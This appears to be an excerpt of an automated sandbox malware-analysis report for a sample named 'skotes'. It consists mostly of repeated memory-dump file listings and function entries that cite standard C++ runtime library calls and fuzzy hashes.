Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: cf20485061ea169c3453c9d7c4c739c8b027db89b2337077521c42fa3a72638f
Instruction ID: 10031819e9e3c9690d415d62333673eaf218be29d61cc70a87ac1ada36065980
Opcode Fuzzy Hash: cf20485061ea169c3453c9d7c4c739c8b027db89b2337077521c42fa3a72638f
Instruction Fuzzy Hash: 17C1F1B1904744AFDB24DFB4C845BEEBBF6AF04310F08452DE81697791EB31A984CBA1

Function 006244DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00624538
ListArray.LIBCONCRT ref: 0062456C
Hash.LIBCMT ref: 006245D5
Hash.LIBCMT ref: 006245E5

Part of subcall function 00629C41: std::bad_exception::bad_exception.LIBCMT ref: 00629C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0062474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006247A4

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: bfa6ea7c0ceeaf8dc361002b624dbf92082f50c0829de65cb264147ed5fedaf9
Instruction ID: ae9ef0b1f40fb4538fd51b8c54699e89df2c067874e8f3cf324029a71d0d45a8
Opcode Fuzzy Hash: bfa6ea7c0ceeaf8dc361002b624dbf92082f50c0829de65cb264147ed5fedaf9
Instruction Fuzzy Hash: FA815CB0A11B22BAD748DF74C845BD9FAA9BF09700F10431EF42897281DBB4A664CFD5

Function 0061ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0061ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0061ED17

Part of subcall function 0061F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0061F3FA

__alloca_probe_16.LIBCMT ref: 0061ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0061ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0061EDC6
__freea.LIBCMT ref: 0061EDEC

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: 089452396881f36aab52444b5bac1bcf331d832bcbeaee2a0f47cc00ad5d9993
Instruction ID: f08bb2f6d6e6cee911bd5ee0b12e09bb0b60f450068c8aa43f6a41a469cd2a89
Opcode Fuzzy Hash: 089452396881f36aab52444b5bac1bcf331d832bcbeaee2a0f47cc00ad5d9993
Instruction Fuzzy Hash: 9131AD71E002058FCB14DFA8D8416EDB7B6AF09310F68406EE845E7350DB31DE82CBA4

Function 0063CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0063CC66

Strings

vc, xrefs: 0063CBE1

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vc
API String ID: 3213747228-1240431118
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 2f7fd2fbb289bced53943726b9d32a988de8dd5284a265e1c52b78e70dfc5fd8
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: BFB1F1329046459FDB158F28C881BEEBBE6EF45360F1481AAF855FB342D6349D02CBE4

Function 00631B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00631B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00631B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00631C2A

Strings

pContext, xrefs: 00631C22
switchState, xrefs: 00631B5E

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
